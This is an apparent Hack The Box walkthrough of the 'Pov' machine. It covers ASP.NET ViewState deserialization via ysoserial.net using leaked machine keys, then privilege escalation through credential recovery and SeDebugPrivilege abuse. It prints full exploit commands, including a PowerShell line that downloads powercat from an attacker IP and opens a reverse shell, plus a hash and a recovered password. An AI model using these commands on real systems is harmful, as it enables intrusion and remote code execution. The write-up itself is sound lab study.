HTB Pov: Walkthrough

We start off with identifying a Deserialization vulnerability within the web application, which we can exploit using ysoserial to execute arbitrary commands. This is followed by SeDebugPrivilege abuse to escalate privileges to SYSTEM.

0) Machine Overview

1. Scans
2. Web Enumeration
3. Privilege Escalation
4. Privilege Escalation 2

1) Scans

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-title: pov.htb
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)

Just port 80 is open, kinda odd to see that nowadays.

2) Web Enumeration

First thing I do is always manually interact and test the functionality of the website. In this case, there wasn’t much to do. However, within the web-page, a hint to a different subdomain is found:

And an email: sfitz@pov.htb

Lets check out this new subdomain, whilst we run a domain bruteforce on the main webpage.

One thing I feel like is being hinted at, is the fact that the developer has a clear interesting of ASP.NET over the other languages, using bold for ASP.NET:

And if we inspect his CV:

And them his testemonials:

Clearly hinting at something with ASP.Net.

So I started researching what possible vulnerabilities could be found within .NET, and the one that stood out to me was .NET Deserialization.

In an extremely short and brief explanation as to how one could exploit that using ysoserial.net

ysoserial.net is a collection of utilities and property-oriented programming "gadget chains" discovered in common .NET libraries that can, under the right conditions, exploit .NET applications performing unsafe deserialization of objects. 

The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.

Now first we need to identify where we could even exploit such a vulnerability. If we head over to contact.aspx and intercept using Burpsuite, we can see that their is a _VIEWSTATE:

Now here I did lots of research and this was my first time encountering a deserialization vulnerability. According to HackTricks, using the __VIEWSTATE parameter is a viable option and has been highly researched/tested.

Firstly, we need to know if that viewstate payload is just base64 encoded, or if its encrypted and then encoded. To do that, we can intercept with Burp and use an extension called ViewState Editor and head to that tab:

Seems like its encrypted. In this case, we have 2 options. Either finding an LFI vulnerability to read the web.config file, or using a tool like badsecrets or blacklist3r to find the machine key. I first tried both tools, but had no luck with either, so I had to resort to trying to find an LFI.

I went back and intercepted the CV Download, to see what the request actually looked like. To my surprise, it was vulnerable to LFI:

Now we have the keys, we can encrypt and encode our own payload to put into the __VIEWSTATE parameter, using ysoserial.net, thanks again to HackTricks:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping -n 5 10.10.14.14" --path="/portfolio/contact.aspx" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --isdebug

(I originally tried providing the generator manually, but for some reason that doesn’t work, and I had to provide the path, then it worked.)

Lets get a shell now.

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe -c IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.14/powercat.ps1');powercat -c 10.10.14.14 -p 1337 -e cmd" --path="/portfolio/contact.aspx" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --isdebug

3) Privilege Escalation

Found an interesting file in C:\Users\sfitz\Documents

Found sfitz’s hash, but not much we can do with it considering we’re already that user.

sfitz::POV:1122334455667788:c8095b512261711c926811ea8202336c:0101000000000000ff3a884d4652da01b8f3b8969c4d2f70000000000800300030000000000000000000000000200000caced61e6f045ec58da479c9571625b0cfd41740f5ac10c64d7afffe23427d900a00100000000000000000000000000000000000090000000000000000000000

I looked into what we can do with that connection.xmlfile, and I noticed that you can use Import-Clixml alongside GetNetworkCredential().password to get the clear-text:

f8gQ8fynP44ek1m3

I tried using RunAs to run a reverse shell as that user, but for some reason no matter what I did it just would not work.

I also tried using powershell:

So then I found out about RunasCs, which basically is a better version of RunAs, I just have to compile it on my host machine.

First I had to create a .csproj file with: (I put net4.5 since I assumed that’s what the target machine was using from earlier. Dont know if it would have mattered though.)

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net4.5</TargetFramework>
  </PropertyGroup>

</Project>

Then build it:

Once uploaded:

4) Privilege Escalation 2

If we run whoami /priv:

We can see we have SeDebugPrivilege, although it says its disabled. Usually we can try a variety of things to get it enabled, like getting a meterpreter shell, using EnableAllTokenPrivs.ps1, and probably other odd methods.

Now here, there’s 2 ways we can go:

Either we can migrate to a different process using Metasploit, which would (In my assumptions, do exactly what manually exploiting an SeDebug privilege would do, and inject itself/shellcode into the process id we give it) automatically giving us SYSTEM.

Or we can manually exploit it using SeDebugPrivilegePoC.exe, although we would have to compile it on our own machine manually since I wasn’t able to compile it on the target. We also could try using psgetsystem.ps1. (There is also xct’s PoC as well)

If we want to change the code that gets executed by SeDebugPrivilegePoC.exe, we can just alter it within the .cs file before compiling, at the CreateProcess() function.

In this case, I wasn’t able to get any of the PoC’s working, so I just resorted to the Metasploit method.

Pwned.